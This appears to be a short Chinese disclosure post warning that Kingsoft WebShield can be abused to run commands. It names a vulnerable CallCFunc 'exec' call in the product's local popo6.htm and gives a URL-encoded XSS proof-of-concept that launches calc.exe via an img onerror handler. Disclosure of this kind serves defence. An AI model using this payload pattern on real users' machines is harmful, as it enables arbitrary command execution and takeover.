小心使用金山网盾,以免沦为“肉鸡”~

fuchou-angle

小心使用金山网盾,以免沦为“肉鸡”~
漏洞函数原型：
C:\Program Files\Kingsoft\KSWebShieldSVC\script\popo6.htm
//68行 CallCFunc函数的第二个参数执行任意命令且可以带参数。
function callSetting()
{
parent.CallCFunc( "exec", "kwsmain.exe /showsetting" );
}
测试方法：
#xss=<img src=#>
访问一个被拦截的网页木马，在URL后加入上面的注释。
http://192.168.128.1/ms06014.txt#xss=<%69%6D%67%20%73%72%63%3D%23%20%6F%6E%65%72%72%6F%72%3D%22%70%61%72%65%6E%74%2E%43%61%6C%6C%43%46%75%6E%63%28%27%65%78%65%63%27%2C%27%63%3A%5C%5C%77%69%6E%64%6F%77%73%5C%5C%73%79%73%74%65%6D%33%32%5C%5C%63%61%6C%63%2E%65%78%65%27%29%22>
------------------------------------------------------
来源：http://hi.baidu.com/inking26/blo ... d707067aec2c8b.html
描述：
恶意网址 ——> HtmlEncode ——> unescape ——> 显示恶意信息